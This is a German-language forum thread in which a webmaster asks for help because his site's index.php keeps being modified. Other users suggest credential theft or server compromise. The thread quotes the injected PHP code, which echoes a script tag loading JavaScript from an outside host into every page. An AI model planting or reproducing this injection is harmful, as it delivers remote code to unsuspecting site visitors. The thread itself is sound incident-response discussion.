"Christmas - the time to fix the computers of your loved ones" « Lord Wyrm

"Virus"/Malware auf Website?

murcielago 16.10.2013 - 10:04 1716 6
Posts

murcielago

Dr. Doom
Avatar
Registered: Oct 2002
Location: *
Posts: 2657
Hi Leute,

die letzten Wochen habe ich immer wieder Probleme, dass auf einer von mir betreuten Website ein Virus (ich weiß nicht genau was es ist) vorhanden ist, der die index.php ändert. Ich kann mir nur technisch nicht erklären, wie das möglich ist.

Aktuell ist es die 2. Art von "Virus".

Code:
<?php
#339810#
if(empty($ma)) {

$ma = "<script type=\"text/javascript\">var gwloaded = false;</script>

<script src=\"http://shinhanvn.com.vn/Uploads/iOVAO5QT.php\" type=\"text/javascript\"></script>";

echo $ma;

}


#/339810#
?>

Diesen shit hat er einfach eingefügt...

Was kann ich tun?

Michi

¯\_(ツ)_/¯
Avatar
Registered: Aug 2000
Location: nö
Posts: 2290
Das ist doch nur Möglich wenn a. der Server davon befallen ist oder b. jemand deine Zugangsdaten hat!?

murcielago

Dr. Doom
Avatar
Registered: Oct 2002
Location: *
Posts: 2657
Eben... ich hab mal dem hoster geschrieben und das passwort geändert.

mr.nice.

endlich fertig
Avatar
Registered: Jun 2004
Location: Wien
Posts: 6306
Ist das LAMP-Paket am aktuellen Stand, bzw. ist ein CMS oder sonst eine Software im Einsatz, für die es vielleicht Securityupdates gibt?

Ich hab meine kleine Webseite aus genau so einem Grund offline genommen, ich habe einfach keine Lust mich kontinuierlich um die Sicherheit einer privaten Seite kümmern zu müssen und die Gefahr als Virenschleuder zu enden, nur weil man etwas dynamisches hosten will, war mir dann zu groß.

murcielago

Dr. Doom
Avatar
Registered: Oct 2002
Location: *
Posts: 2657
das ist telekom (a1) business webspace... und nur stinknormale php seiten, kein mysql, nix... :(

Michi

¯\_(ツ)_/¯
Avatar
Registered: Aug 2000
Location: nö
Posts: 2290
ich würde einfach mal testen obs jetzt noch immer auftritt .. wenn nicht wars ein Security Problem bei deinem Passwort und nebenbei mal warten was der Hoster sagt.

murcielago

Dr. Doom
Avatar
Registered: Oct 2002
Location: *
Posts: 2657
Ja, so ist der Plan. Danke für die Hilfe, Leute!
Kontakt | Unser Forum | Über overclockers.at | Impressum | Datenschutz